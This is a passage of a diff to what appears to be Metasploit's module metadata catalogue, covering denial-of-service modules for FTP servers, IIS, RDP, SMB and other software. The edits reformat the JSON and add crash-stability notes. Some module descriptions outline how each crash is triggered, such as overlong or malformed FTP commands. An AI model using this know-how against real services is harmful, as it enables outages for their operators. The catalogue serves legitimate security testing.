"default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/junos_tcp_opt": { "name": "Juniper JunOS Malformed TCP Option", "fullname": "auxiliary/dos/tcp/junos_tcp_opt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16811,14 +16655,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/tcp/junos_tcp_opt.rb", "is_install_path": true, "ref_name": "dos/tcp/junos_tcp_opt", @@ -16826,19 +16666,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-restarts" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/synflood": { "name": "TCP SYN Flooder", "fullname": "auxiliary/dos/tcp/synflood", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16846,20 +16687,14 @@ "kris katterjohn " ], "description": "A simple TCP SYN flooder", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/tcp/synflood.rb", "is_install_path": true, "ref_name": "dos/tcp/synflood", @@ -16867,19 +16702,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/upnp/miniupnpd_dos": { "name": "MiniUPnPd 1.4 Denial of Service (DoS) Exploit", "fullname": "auxiliary/dos/upnp/miniupnpd_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-27", "type": "auxiliary", @@ -16898,14 +16734,10 @@ "platform": "", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb", "is_install_path": true, "ref_name": "dos/upnp/miniupnpd_dos", @@ -16913,26 +16745,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/appian/appian_bpm": { "name": "Appian Enterprise Business Suite 5.6 SP1 DoS", "fullname": "auxiliary/dos/windows/appian/appian_bpm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-17", "type": "auxiliary", "author": [ "guiness.stout " ], - "description": "This module exploits a denial of service flaw in the Appian\n Enterprise Business Suite service.", + "description": "This module exploits a denial of service flaw in the Appian\n Enterprise Business Suite service.", "references": [ "CVE-2007-6509", "OSVDB-39500", @@ -16941,14 +16774,10 @@ "platform": "", "arch": "", "rport": 5400, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/appian/appian_bpm.rb", "is_install_path": true, "ref_name": "dos/windows/appian/appian_bpm", @@ -16956,26 +16785,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/browser/ms09_065_eot_integer": { "name": "Microsoft Windows EOT Font Table Directory Integer Overflow", "fullname": "auxiliary/dos/windows/browser/ms09_065_eot_integer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-10", "type": "auxiliary", "author": [ "hdm " ], - "description": "This module exploits an integer overflow flaw in the Microsoft Windows Embedded\n OpenType font parsing code located in win32k.sys. Since the kernel itself parses\n embedded web fonts, it is possible to trigger a BSoD from a normal web page when\n viewed with Internet Explorer.", + "description": "This module exploits an integer overflow flaw in the Microsoft Windows Embedded\n OpenType font parsing code located in win32k.sys. Since the kernel itself parses\n embedded web fonts, it is possible to trigger a BSoD from a normal web page when\n viewed with Internet Explorer.", "references": [ "CVE-2009-2514", "MSB-MS09-065", @@ -16984,14 +16814,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb", "is_install_path": true, "ref_name": "dos/windows/browser/ms09_065_eot_integer", @@ -16999,6 +16825,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -17012,16 +16843,14 @@ "auxiliary_dos/windows/ftp/filezilla_admin_user": { "name": "FileZilla FTP Server Admin Interface Denial of Service", "fullname": "auxiliary/dos/windows/ftp/filezilla_admin_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-11-07", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module triggers a Denial of Service condition in the FileZilla FTP\n Server Administration Interface in versions 0.9.4d and earlier.\n By sending a procession of excessively long USER commands to the FTP\n Server, the Administration Interface (FileZilla Server Interface.exe)\n when running, will overwrite the stack with our string and generate an\n exception. The FileZilla FTP Server itself will continue functioning.", + "description": "This module triggers a Denial of Service condition in the FileZilla FTP\n Server Administration Interface in versions 0.9.4d and earlier.\n By sending a procession of excessively long USER commands to the FTP\n Server, the Administration Interface (FileZilla Server Interface.exe)\n when running, will overwrite the stack with our string and generate an\n exception. The FileZilla FTP Server itself will continue functioning.", "references": [ "BID-15346", "CVE-2005-3589", @@ -17031,14 +16860,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/filezilla_admin_user", @@ -17046,26 +16871,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/filezilla_server_port": { "name": "FileZilla FTP Server Malformed PORT Denial of Service", "fullname": "auxiliary/dos/windows/ftp/filezilla_server_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-12-11", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module triggers a Denial of Service condition in the FileZilla FTP\n Server versions 0.9.21 and earlier. By sending a malformed PORT command\n then LIST command, the server attempts to write to a NULL pointer.", + "description": "This module triggers a Denial of Service condition in the FileZilla FTP\n Server versions 0.9.21 and earlier. By sending a malformed PORT command\n then LIST command, the server attempts to write to a NULL pointer.", "references": [ "BID-21542", "BID-21549", @@ -17084,7 +16910,7 @@ "ftp" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/filezilla_server_port", @@ -17092,26 +16918,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/guildftp_cwdlist": { "name": "Guild FTPd 0.999.8.11/0.999.14 Heap Corruption", "fullname": "auxiliary/dos/windows/ftp/guildftp_cwdlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-12", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable\n to heap corruption. You need to have a valid login\n so you can run CWD and LIST.", + "description": "Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable\n to heap corruption. You need to have a valid login\n so you can run CWD and LIST.", "references": [ "CVE-2008-4572", "OSVDB-49045", @@ -17128,7 +16955,7 @@ "ftp" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/guildftp_cwdlist", @@ -17136,19 +16963,20 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/iis75_ftpd_iac_bof": { "name": "Microsoft IIS FTP Server Encoded Response Overflow Trigger", "fullname": "auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-12-21", "type": "auxiliary", @@ -17156,7 +16984,7 @@ "Matthew Bergin", "jduck " ], - "description": "This module triggers a heap overflow when processing a specially crafted\n FTP request containing Telnet IAC (0xff) bytes. When constructing the response,\n the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.\n\n This issue can be triggered pre-auth and may in fact be exploitable for\n remote code execution.", + "description": "This module triggers a heap overflow when processing a specially crafted\n FTP request containing Telnet IAC (0xff) bytes. When constructing the response,\n the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.\n\n This issue can be triggered pre-auth and may in fact be exploitable for\n remote code execution.", "references": [ "CVE-2010-3972", "OSVDB-70167", @@ -17168,14 +16996,10 @@ "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/iis75_ftpd_iac_bof", @@ -17183,19 +17007,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/iis_list_exhaustion": { "name": "Microsoft IIS FTP Server LIST Stack Exhaustion", "fullname": "auxiliary/dos/windows/ftp/iis_list_exhaustion", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-09-03", "type": "auxiliary", @@ -17203,7 +17028,7 @@ "Kingcope", "Myo Soe" ], - "description": "This module triggers Denial of Service condition in the Microsoft Internet\n Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command\n containing a wildcard. For this exploit to work in most cases, you need 1) a valid\n ftp account: either read-only or write-access account 2) the \"FTP Publishing\" must\n be configured as \"manual\" mode in startup type 3) there must be at least one\n directory under FTP root directory. If your provided an FTP account has write-access\n privilege and there is no single directory, a new directory with random name will be\n created prior to sending exploit payload.", + "description": "This module triggers Denial of Service condition in the Microsoft Internet\n Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command\n containing a wildcard. For this exploit to work in most cases, you need 1) a valid\n ftp account: either read-only or write-access account 2) the \"FTP Publishing\" must\n be configured as \"manual\" mode in startup type 3) there must be at least one\n directory under FTP root directory. If your provided an FTP account has write-access\n privilege and there is no single directory, a new directory with random name will be\n created prior to sending exploit payload.", "references": [ "CVE-2009-2521", "BID-36273", @@ -17222,7 +17047,7 @@ "ftp" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/iis_list_exhaustion", @@ -17230,19 +17055,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/solarftp_user": { "name": "Solar FTP Server Malformed USER Denial of Service", "fullname": "auxiliary/dos/windows/ftp/solarftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-22", "type": "auxiliary", @@ -17251,21 +17077,17 @@ "C4SS!0 G0M3S ", "sinn3r " ], - "description": "This module will send a format string as USER to Solar FTP, causing a\n READ violation in function \"__output_1()\" found in \"sfsservice.exe\"\n while trying to calculate the length of the string. This vulnerability\n affects versions 2.1.1 and earlier.", + "description": "This module will send a format string as USER to Solar FTP, causing a\n READ violation in function \"__output_1()\" found in \"sfsservice.exe\"\n while trying to calculate the length of the string. This vulnerability\n affects versions 2.1.1 and earlier.", "references": [ "EDB-16204" ], "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/solarftp_user.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/solarftp_user", @@ -17273,26 +17095,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/titan626_site": { "name": "Titan FTP Server 6.26.630 SITE WHO DoS", "fullname": "auxiliary/dos/windows/ftp/titan626_site", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-14", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "The Titan FTP server v6.26 build 630 can be DoS'd by\n issuing \"SITE WHO\". You need a valid login so you\n can send this command.", + "description": "The Titan FTP server v6.26 build 630 can be DoS'd by\n issuing \"SITE WHO\". You need a valid login so you\n can send this command.", "references": [ "CVE-2008-6082", "OSVDB-49177", @@ -17309,7 +17132,7 @@ "ftp" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/titan626_site.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/titan626_site", @@ -17317,26 +17140,27 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/vicftps50_list": { "name": "Victory FTP Server 5.0 LIST DoS", "fullname": "auxiliary/dos/windows/ftp/vicftps50_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-24", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "The Victory FTP Server v5.0 can be brought down by sending\n a very simple LIST command", + "description": "The Victory FTP Server v5.0 can be brought down by sending\n a very simple LIST command", "references": [ "CVE-2008-2031", "CVE-2008-6829", @@ -17354,7 +17178,7 @@ "ftp" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/vicftps50_list", @@ -17362,26 +17186,27 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/winftp230_nlst": { "name": "WinFTP 2.3.0 NLST Denial of Service", "fullname": "auxiliary/dos/windows/ftp/winftp230_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-09-26", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "This module is a very rough port of Julien Bedard's\n PoC. You need a valid login, but even anonymous can\n do it if it has permission to call NLST.", + "description": "This module is a very rough port of Julien Bedard's\n PoC. You need a valid login, but even anonymous can\n do it if it has permission to call NLST.", "references": [ "CVE-2008-5666", "OSVDB-49043", @@ -17398,7 +17223,7 @@ "ftp" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/winftp230_nlst", @@ -17406,26 +17231,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/xmeasy560_nlst": { "name": "XM Easy Personal FTP Server 5.6.0 NLST DoS", "fullname": "auxiliary/dos/windows/ftp/xmeasy560_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-13", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "This module is a port of shinnai's script. You need\n a valid login, but even anonymous can do it as long\n as it has permission to call NLST.", + "description": "This module is a port of shinnai's script. You need\n a valid login, but even anonymous can do it as long\n as it has permission to call NLST.", "references": [ "CVE-2008-5626", "OSVDB-50837", @@ -17442,7 +17268,7 @@ "ftp" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/xmeasy560_nlst", @@ -17450,26 +17276,27 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ftp/xmeasy570_nlst": { "name": "XM Easy Personal FTP Server 5.7.0 NLST DoS", "fullname": "auxiliary/dos/windows/ftp/xmeasy570_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-27", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "You need a valid login to DoS this FTP server, but\n even anonymous can do it as long as it has permission\n to call NLST.", + "description": "You need a valid login to DoS this FTP server, but\n even anonymous can do it as long as it has permission\n to call NLST.", "references": [ "CVE-2008-5626", "OSVDB-50837", @@ -17486,7 +17313,7 @@ "ftp" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb", "is_install_path": true, "ref_name": "dos/windows/ftp/xmeasy570_nlst", @@ -17494,40 +17321,35 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/games/kaillera": { "name": "Kaillera 0.86 Server Denial of Service", "fullname": "auxiliary/dos/windows/games/kaillera", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-07-02", "type": "auxiliary", "author": [ "Sil3nt_Dre4m" ], - "description": "The Kaillera 0.86 server can be shut down by sending any malformed packet\n after the initial \"hello\" packet.", - "references": [ - - ], + "description": "The Kaillera 0.86 server can be shut down by sending any malformed packet\n after the initial \"hello\" packet.", + "references": [], "platform": "", "arch": "", "rport": 27888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/games/kaillera.rb", "is_install_path": true, "ref_name": "dos/windows/games/kaillera", @@ -17535,19 +17357,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166": { "name": "Windows IIS HTTP Protocol Stack DOS", "fullname": "auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-05-11", "type": "auxiliary", @@ -17595,9 +17418,7 @@ "Stability": [ "crash-os-restarts" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "screen-effects" @@ -17605,16 +17426,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/ms10_065_ii6_asp_dos": { "name": "Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service", "fullname": "auxiliary/dos/windows/http/ms10_065_ii6_asp_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-14", "type": "auxiliary", @@ -17622,7 +17439,7 @@ "Heyder Andrade ", "Leandro Oliveira " ], - "description": "The vulnerability allows remote unauthenticated attackers to force the IIS server\n to become unresponsive until the IIS service is restarted manually by the administrator.\n Required is that Active Server Pages are hosted by the IIS and that an ASP script reads\n out a Post Form value.", + "description": "The vulnerability allows remote unauthenticated attackers to force the IIS server\n to become unresponsive until the IIS service is restarted manually by the administrator.\n Required is that Active Server Pages are hosted by the IIS and that an ASP script reads\n out a Post Form value.", "references": [ "CVE-2010-1899", "OSVDB-67978", @@ -17632,14 +17449,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb", "is_install_path": true, "ref_name": "dos/windows/http/ms10_065_ii6_asp_dos", @@ -17647,26 +17460,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/http/pi3web_isapi": { "name": "Pi3Web ISAPI DoS", "fullname": "auxiliary/dos/windows/http/pi3web_isapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-13", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "The Pi3Web HTTP server crashes when a request is made for an invalid DLL\n file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs\n in this directory after installation are users.txt, install.daf and\n readme.daf.", + "description": "The Pi3Web HTTP server crashes when a request is made for an invalid DLL\n file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs\n in this directory after installation are users.txt, install.daf and\n readme.daf.", "references": [ "CVE-2008-6938", "OSVDB-49998", @@ -17691,7 +17505,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/http/pi3web_isapi.rb", "is_install_path": true, "ref_name": "dos/windows/http/pi3web_isapi", @@ -17699,19 +17513,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/llmnr/ms11_030_dnsapi": { "name": "Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS", "fullname": "auxiliary/dos/windows/llmnr/ms11_030_dnsapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-12", "type": "auxiliary", @@ -17727,14 +17542,10 @@ "platform": "", "arch": "", "rport": 5355, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb", "is_install_path": true, "ref_name": "dos/windows/llmnr/ms11_030_dnsapi", @@ -17742,26 +17553,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/nat/nat_helper": { "name": "Microsoft Windows NAT Helper Denial of Service", "fullname": "auxiliary/dos/windows/nat/nat_helper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-10-26", "type": "auxiliary", "author": [ "MC " ], - "description": "This module exploits a denial of service vulnerability\n within the Internet Connection Sharing service in\n Windows XP.", + "description": "This module exploits a denial of service vulnerability\n within the Internet Connection Sharing service in\n Windows XP.", "references": [ "OSVDB-30096", "BID-20804", @@ -17770,14 +17582,10 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/nat/nat_helper.rb", "is_install_path": true, "ref_name": "dos/windows/nat/nat_helper", @@ -17785,19 +17593,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/rdp/ms12_020_maxchannelids": { "name": "MS12-020 Microsoft Remote Desktop Use-After-Free DoS", "fullname": "auxiliary/dos/windows/rdp/ms12_020_maxchannelids", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-16", "type": "auxiliary", @@ -17808,13 +17617,13 @@ "jduck ", "#ms12-020" ], - "description": "This module exploits the MS12-020 RDP vulnerability originally discovered and\n reported by Luigi Auriemma. The flaw can be found in the way the T.125\n ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result\n an invalid pointer being used, therefore causing a denial-of-service condition.", + "description": "This module exploits the MS12-020 RDP vulnerability originally discovered and\n reported by Luigi Auriemma. The flaw can be found in the way the T.125\n ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result\n an invalid pointer being used, therefore causing a denial-of-service condition.", "references": [ "CVE-2012-0002", "MSB-MS12-020", "URL-http://www.privatepaste.com/ffe875e04a", - "URL-http://pastie.org/private/4egcqt9nucxnsiksudy5dw", - "URL-http://pastie.org/private/feg8du0e9kfagng4rrg", + "URL-http://web.archive.org/web/20161020044803/http://pastie.org/private/4egcqt9nucxnsiksudy5dw", + "URL-http://web.archive.org/web/20160627131634/http://pastie.org/private/feg8du0e9kfagng4rrg", "URL-http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html", "EDB-18606", "URL-https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/" @@ -17822,14 +17631,10 @@ "platform": "", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb", "is_install_path": true, "ref_name": "dos/windows/rdp/ms12_020_maxchannelids", @@ -17837,26 +17642,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms05_047_pnp": { "name": "Microsoft Plug and Play Service Registry Overflow", "fullname": "auxiliary/dos/windows/smb/ms05_047_pnp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module triggers a stack buffer overflow in the Windows Plug\n and Play service. This vulnerability can be exploited on\n Windows 2000 without a valid user account. Since the PnP\n service runs inside the service.exe process, this module\n will result in a forced reboot on Windows 2000. Obtaining\n code execution is possible if user-controlled memory can\n be placed at 0x00000030, 0x0030005C, or 0x005C005C.", + "description": "This module triggers a stack buffer overflow in the Windows Plug\n and Play service. This vulnerability can be exploited on\n Windows 2000 without a valid user account. Since the PnP\n service runs inside the service.exe process, this module\n will result in a forced reboot on Windows 2000. Obtaining\n code execution is possible if user-controlled memory can\n be placed at 0x00000030, 0x0030005C, or 0x005C005C.", "references": [ "CVE-2005-2120", "MSB-MS05-047", @@ -17875,7 +17681,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": 